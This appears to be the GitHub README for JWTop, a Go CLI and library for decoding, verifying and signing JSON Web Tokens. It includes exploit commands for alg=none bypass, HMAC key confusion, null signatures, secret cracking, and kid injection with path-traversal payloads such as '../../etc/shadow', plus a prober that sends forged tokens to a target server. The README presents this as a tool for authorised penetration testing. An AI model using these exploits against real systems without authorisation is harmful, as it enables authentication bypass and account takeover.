Skip to content

cerberauth/jwtop

Repository files navigation

JWTop

A fast, developer-friendly JWT operations toolkit — decode, verify, create, sign, crack, and exploit JSON Web Tokens.

Join Discord Build Release Coverage Go Report Card GoDoc Stars License


JWTop is a Go library and CLI for working with JSON Web Tokens. It covers the full JWT lifecycle: decoding, verifying, creating, and signing tokens — plus a security-testing layer for probing and exploiting common JWT vulnerabilities.

  • CLI — decode, verify, create, sign, crack, and exploit tokens from the terminal
  • Library — composable Go packages for each operation, designed for direct integration
  • Security testing — built-in exploit primitives (alg=none, HMAC confusion, kid injection, blank secret, null signature) and a server vulnerability scanner

Disclaimer: The exploit and crack functionality is intended for authorised security testing, penetration testing, CTF competitions, and educational purposes only. Never test systems you do not own or have explicit written permission to test.


Features

Feature CLI Library
Decode JWT (no verification)
Verify signature (HMAC, RSA, ECDSA, JWKS)
Create and sign new tokens
Re-sign existing tokens
Crack HMAC secret (dictionary attack)
Probe server for JWT vulnerabilities
alg=none bypass
Blank secret
Null signature
HMAC confusion (RSA/EC → HMAC)
kid injection (SQL, path traversal, raw)

Installation

CLI

Using go install:

go install github.com/cerberauth/jwtop@latest

From source:

git clone https://github.com/cerberauth/jwtop.git
cd jwtop
go build -o jwtop .

Library

Install only the packages you need:

# Core operations (decode, verify, create, sign)
go get github.com/cerberauth/jwtop/jwt

# Token editor (re-sign and mutate existing tokens)
go get github.com/cerberauth/jwtop/jwt/editor

# Security exploit primitives
go get github.com/cerberauth/jwtop/jwt/exploit

# Server vulnerability prober
go get github.com/cerberauth/jwtop/jwt/crack

CLI Usage

jwtop [command] [flags]

Commands:
  decode    Decode and pretty-print a JWT
  verify    Verify a JWT signature
  create    Create and sign a new JWT
  sign      Re-sign an existing JWT
  crack     Probe a server for JWT vulnerabilities
  exploit   Apply a known exploit to a JWT
  version   Print version information

decode

Decode and pretty-print a JWT without verifying the signature.

jwtop decode <token>
jwtop decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U
Header:
{
  "alg": "HS256",
  "typ": "JWT"
}

Claims:
{
  "sub": "1234567890"
}

Signature:
dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U

verify

Verify a JWT signature and print its claims. Exits 1 if the token is invalid.

jwtop verify <token> [--secret <secret>] [--key <pem-file>] [--jwks <uri>]
Flag Description
--secret HMAC secret string
--key Path to PEM public (or private) key file
--jwks JWKS endpoint URI
# HMAC
jwtop verify $TOKEN --secret mysecret

# RSA/ECDSA public key
jwtop verify $TOKEN --key /path/to/public.pem

# JWKS endpoint
jwtop verify $TOKEN --jwks https://example.com/.well-known/jwks.json

create

Create and sign a new JWT.

jwtop create --alg <alg> (--secret <secret> | --key <pem-file>) [options]
Flag Description
--alg Signing algorithm, e.g. HS256, RS256, ES256 (required)
--secret HMAC secret string
--key Path to PEM private key file
--claim key=value Custom claim (repeatable)
--sub Subject claim
--iss Issuer claim
--aud Audience claim
--exp Expiration duration, e.g. 1h, 30m
--iat Include issued-at claim

Claim values are auto-parsed: integers and booleans are stored as their native types; everything else as a string.

# HS256 with claims
jwtop create --alg HS256 --secret mysecret \
  --sub user123 --iss myapp --exp 1h --iat \
  --claim role=admin --claim plan=pro

# RS256 with a private key
jwtop create --alg RS256 --key /path/to/private.pem --sub user123 --exp 24h

sign

Re-sign an existing JWT with a new algorithm or key. Original claims are preserved.

jwtop sign <token> --alg <alg> (--secret <secret> | --key <pem-file>)
Flag Description
--alg Target signing algorithm, or none (required)
--secret HMAC secret string
--key Path to PEM private key file
# Change algorithm and key
jwtop sign $TOKEN --alg RS256 --key /path/to/private.pem

# Strip signature (alg=none)
jwtop sign $TOKEN --alg none

crack

Probe a target URL with every known JWT exploit technique and report which ones the server accepts. Each technique produces a modified token sent as Authorization: Bearer <token>. A response matching --expected-status marks that technique VULNERABLE.

jwtop crack <token> --url <url> [--expected-status <n>] [--key <pem-file>] [--wordlist <file>] [--secret <s>...] [--workers <n>]
Flag Description
--url Target URL to probe (required)
--expected-status HTTP status that signals a successful exploit (default 200)
--key Path to PEM public key for the hmacconfusion probe
--wordlist Path to a newline-delimited file of candidate secrets
--secret Explicit candidate secret (repeatable)
--workers Concurrent workers for secret brute-force (default 8)

Techniques probed: algnone (×4 capitalisation variants), blanksecret, nullsig, hmacconfusion (requires --key), kidinjection (SQL and path traversal), weaksecret (dictionary, HMAC tokens only).

# Probe with the built-in secret dictionary
jwtop crack $TOKEN --url https://api.example.com/protected

# Include a public key for the hmacconfusion probe
jwtop crack $TOKEN --url https://api.example.com/protected --key public.pem

# Add a custom wordlist
jwtop crack $TOKEN --url https://api.example.com/protected \
  --wordlist /path/to/secrets.txt --secret mysecret

Exits 0 when at least one exploit succeeded, 1 when none did.


exploit

Apply a known security exploit to an existing JWT and print the modified token. Each subcommand is a standalone technique.

jwtop exploit <subcommand> <token> [flags]
Subcommand Description
algnone Set alg=none and strip the signature
blanksecret Re-sign with an empty HMAC secret
nullsig Strip the signature, keep the original alg header
hmacconfusion Re-sign an RSA/ECDSA token as HMAC using the public key PEM
weaksecret Dictionary-attack the HMAC signing secret
kidinjection Manipulate the kid header field and re-sign

algnone

jwtop exploit algnone $TOKEN
jwtop exploit algnone --all $TOKEN   # emit all capitalisation variants

blanksecret

jwtop exploit blanksecret $TOKEN

nullsig

jwtop exploit nullsig $TOKEN

hmacconfusion — re-signs RS*/ES*/PS* tokens as their HMAC equivalent using the server's public key PEM as the secret.

jwtop exploit hmacconfusion $TOKEN --key /path/to/public.pem

weaksecret — dictionary-attack the HMAC signing secret.

jwtop exploit weaksecret $TOKEN                                   # built-in wordlist
jwtop exploit weaksecret $TOKEN --secret mysecret --secret s3cr3t # explicit guesses
jwtop exploit weaksecret $TOKEN --wordlist /path/to/secrets.txt   # custom wordlist
Flag Description
--wordlist Newline-delimited file of candidate secrets
--secret Explicit candidate secret (repeatable)
--workers Concurrent workers (default 8)

Prints the recovered secret on success (exit 0), exits 1 when not found.

kidinjection — manipulate the kid header and re-sign.

jwtop exploit kidinjection --mode sql $TOKEN          # SQL injection payload
jwtop exploit kidinjection --mode path $TOKEN         # path traversal to /dev/null
jwtop exploit kidinjection --mode raw --kid "../../etc/passwd" --secret "" $TOKEN
Flag Description
--mode sql, path, or raw (default sql)
--kid Override the kid value
--secret HMAC secret to sign with (overrides mode default)

Library Usage

Core operations — jwt

import "github.com/cerberauth/jwtop/jwt"

Decode (no verification):

decoded, err := jwt.Decode(tokenString)
// decoded.Header    → map[string]interface{}
// decoded.Claims    → map[string]interface{}
// decoded.Signature → base64url string

Verify:

result, err := jwt.Verify(tokenString, jwt.VerifyOptions{
    Secret: []byte("mysecret"),
    // KeyPEM:  pemBytes,
    // JWKSURI: "https://example.com/.well-known/jwks.json",
})
// err is non-nil only for structural problems (malformed token, missing key).
// result.Valid is false when the signature doesn't match.
if result.Valid {
    fmt.Println("valid:", result.Claims)
} else {
    fmt.Println("invalid:", result.Error)
}

Create:

// HMAC
token, err := jwt.CreateWithSecret(jwt.CreateOptions{
    Algorithm:  "HS256",
    Claims:     map[string]string{"sub": "user123", "role": "admin"},
    Expiration: time.Hour,
    IssuedAt:   true,
}, []byte("mysecret"))

// Asymmetric
token, err = jwt.Create(jwt.CreateOptions{
    Algorithm: "RS256",
    Claims:    map[string]string{"sub": "user123"},
}, privateKey)

Token editor — jwt/editor

Parse an existing token (without verifying it) and re-sign with a different algorithm or key.

import "github.com/cerberauth/jwtop/jwt/editor"

te, err := editor.NewTokenEditor(existingToken)

signed, err := te.SignWithMethodAndKey(jwtlib.SigningMethodHS256, []byte("newsecret"))
signed, err  = te.SignWithKey(privateKey)
signed, err  = te.SignWithMethodAndRandomKey(jwtlib.SigningMethodRS256)
signed, err  = te.WithAlgNone()
noSig, err  := te.WithoutSignature()

// Adjust exp/nbf so the token is currently valid
valid := editor.NewTokenEditorWithValidClaims(te)

Exploit primitives — jwt/exploit

import "github.com/cerberauth/jwtop/jwt/exploit"

token, err  := exploit.AlgNone(tokenString)
tokens, err := exploit.AlgNoneAll(tokenString)      // all capitalisation variants
token, err   = exploit.BlankSecret(tokenString)
token, err   = exploit.NullSignature(tokenString)
token, err   = exploit.HMACConfusion(tokenString, pubPEM)
token, err   = exploit.KidSQLInjection(tokenString, exploit.DefaultKidSQLPayload, []byte("secret"))
token, err   = exploit.KidPathTraversal(tokenString, exploit.DefaultKidPathTraversalPayload, []byte(""))
token, err   = exploit.KidInjection(tokenString, "../../etc/shadow", jwtlib.SigningMethodHS256, []byte(""))

// HMAC secret cracking
result, err := exploit.CrackSecret(tokenString, exploit.WeakSecrets(), 8)
if result.Found {
    fmt.Println("secret:", result.Secret)
}
secrets, err := exploit.SecretsFromFile("/path/to/wordlist.txt")

Server prober — jwt/crack

import "github.com/cerberauth/jwtop/jwt/crack"

results, err := crack.ProbeAll(ctx, tokenString, crack.ProbeOptions{
    URL:            "https://api.example.com/protected",
    ExpectedStatus: 200,
    PublicKeyPEM:   pubPEM, // nil skips hmacconfusion
    Candidates:     exploit.DefaultSecrets,
    Workers:        8,
})
for _, r := range results {
    switch {
    case r.Skipped:
        fmt.Printf("[-] %s  skipped (%s)\n", r.Name, r.SkipReason)
    case r.Err != nil:
        fmt.Printf("[!] %s  error: %v\n", r.Name, r.Err)
    case r.Status == 200:
        fmt.Printf("[+] %s  VULNERABLE\n", r.Name)
    default:
        fmt.Printf("[ ] %s  %d\n", r.Name, r.Status)
    }
}

Key utilities

pubKey, err  := jwt.LoadPublicKeyFromPEM(pemBytes)
privKey, err := jwt.LoadPrivateKeyFromPEM(pemBytes)
key, err     := jwt.GenerateKey(jwt.SigningMethodRS256)
keyfunc, err := jwt.FetchJWKS("https://example.com/.well-known/jwks.json")
method, err  := jwt.ParseSigningMethod("ES256")
ok           := jwt.IsJWT(tokenString)

Supported Algorithms

Family Algorithms
HMAC HS256, HS384, HS512
RSA RS256, RS384, RS512
RSA-PSS PS256, PS384, PS512
ECDSA ES256, ES384, ES512
None none

Acknowledgements

  • jwt_tool by @ticarpi — the reference JWT attack toolkit. The exploit package reproduces the key attacks covered by jwt_tool: alg=none bypass, HMAC confusion, null signature, blank secret, and kid header injection.
  • vulnapi — the CerberAuth API vulnerability scanner, which provided the implementation patterns for the exploit and crack packages.

License

MIT © CerberAuth — see LICENSE for details.

About

JWT operations library and CLI for Go. Decode, verify, create, and sign JSON Web Tokens.

Topics

Resources

License

Code of conduct

Security policy

Stars

Watchers

Forks

Packages

 
 
 

Contributors

Languages